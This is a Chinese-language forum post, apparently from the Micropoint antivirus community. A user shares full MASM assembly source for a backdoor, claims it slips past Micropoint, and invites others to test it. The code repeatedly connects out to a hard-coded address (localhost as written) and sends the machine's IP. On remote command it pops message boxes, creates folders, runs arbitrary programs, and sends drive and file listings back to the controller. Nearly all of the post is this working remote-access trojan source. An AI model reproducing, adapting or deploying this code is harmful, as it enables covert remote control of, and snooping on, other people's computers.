baimuyi945
新手上路
积分 3
发帖 3
注册 2009-4-30
|
#1 据说过微点后门程序，有附件可以测试
据说过微点后门程序（大家测试一下）
Tags: 后门 程序
代码
.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include wsock32.inc
includelib wsock32.lib
include shell32.inc
includelib shell32.lib
include _Message.inc
.data?
@szBuffer db 256 dup (?)
@stmsg MSG_STRUCT <>
hSocket dd ?
@FindData1 WIN32_FIND_DATA <>
.data
@stSin sockaddr_in <AF_INET,401Fh,<<<7fh,0,0,1>>>,8 dup (0)>
.code
include _SocketRoute.asm
;//////////////////////////////////////////////////////////////////////////////
_order proc _msg:ptr MSG_STRUCT
local @FindData:WIN32_FIND_DATA
local @szFindFile[MAX_PATH]:byte
local @hFindFile
assume esi:ptr MSG_STRUCT
mov esi,_msg
;invoke RtlZeroMemory,esi,sizeof MSG_STRUCT
.if [esi].MsgHead.dwCmdId == CMD_MSGBOX
add esi,6
invoke lstrlen,esi
inc eax
mov edi,esi
add esi,eax
invoke MessageBox,NULL,esi,edi,MB_OK
.elseif [esi].MsgHead.dwCmdId == CMD_CREATEFOLDER
add esi,6
invoke CreateDirectory,esi,0
.elseif [esi].MsgHead.dwCmdId == CMD_CREATEPROCESS
add esi,6
invoke ShellExecute,0,0,esi,0,0,SW_SHOWNORMAL
.elseif [esi].MsgHead.dwCmdId == CMD_BROWSE
.if dword ptr [esi].MsgHead.dwLength == 7
invoke GetLogicalDriveStrings,sizeof MSG_STRUCT.FILE.dbFILE,addr [esi].FILE.dbFILE
push edi
mov edi,esi
add edi,6
_len:
invoke lstrlen,edi
inc eax
add edi,eax
.if dword ptr [edi] == 0
jmp _send
.endif
jmp _len
_send:
sub edi,esi
inc edi
mov [esi].MsgHead.dwLength,edi
pop edi
mov [esi].MsgHead.dwCmdId,CMD_DRIVES
invoke send,hSocket,esi,[esi].MsgHead.dwLength,0
ret
.endif
add esi,6
invoke FindFirstFile,esi,addr @FindData
.if eax != INVALID_HANDLE_VALUE
mov @hFindFile,eax
.repeat
invoke lstrcpy,esi,addr @FindData.cFileName
.if @FindData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
.if @FindData.cFileName == '.'
jmp _next
.endif
mov @stmsg.MsgHead.dwCmdId,CMD_FOLDERNAME
.else
mov @stmsg.MsgHead.dwCmdId,CMD_FILENAME
.endif
invoke lstrlen,addr @FindData.cFileName
add eax,6
inc eax
mov @stmsg.MsgHead.dwLength,eax
invoke send,hSocket,addr @stmsg,@stmsg.MsgHead.dwLength,0
_next:
invoke FindNextFile,@hFindFile,addr @FindData
.until (eax == FALSE)
.endif
mov @stmsg.MsgHead.dwLength,6
mov @stmsg.MsgHead.dwCmdId,CMD_END
invoke send,hSocket,OFFSET @stmsg,@stmsg.MsgHead.dwLength,0
.endif
assume esi:nothing
ret
_order endp
;////////////////////////////////////////////////////////////////////////////////
_WinMain proc
local @stWsa:WSADATA,ipaddr:dword
_st:
invoke WSAStartup,101h,addr @stWsa
invoke gethostname,OFFSET @szBuffer,1024
invoke gethostbyname,OFFSET @szBuffer
.if eax
mov eax,[eax+hostent.h_list]
.while dword ptr [eax]
mov ecx,[eax]
mov ecx,[ecx]
add eax,4
.endw
.endif
mov ipaddr,ecx
invoke socket,AF_INET,SOCK_STREAM,0
mov hSocket ,eax
_connect:
invoke connect,hSocket,addr @stSin,sizeof @stSin
.if eax == SOCKET_ERROR
invoke Sleep,6000
jmp _connect
.endif
invoke inet_ntoa,ipaddr
.if eax
invoke lstrcpy,OFFSET @stmsg.CONNET.ddIp,eax
.endif
invoke lstrlen,OFFSET @stmsg.CONNET.ddIp
add eax,7
mov @stmsg.MsgHead.dwCmdId,CMD_CONNECT
mov @stmsg.MsgHead.dwLength,eax
invoke send,hSocket,OFFSET @stmsg,@stmsg.MsgHead.dwLength,0
cmp eax,SOCKET_ERROR
jz _ret
.while TRUE
invoke _WaitData,hSocket,200 * 1000
.break .if eax == SOCKET_ERROR
.if eax
invoke _RecvPacket,hSocket,addr @stmsg,sizeof @stmsg
.break .if eax
;处理代码
invoke _order,OFFSET @stmsg
.endif
.endw
_ret:
invoke closesocket,hSocket
jmp _st
ret
_WinMain endp
start:
call _WinMain
nop
invoke ExitProcess,NULL
end start
| |
※ ※ ※ 本文纯属【baimuyi945】个人意见，与【 微点交流论坛 】立场无关※ ※ ※
|
 |
|
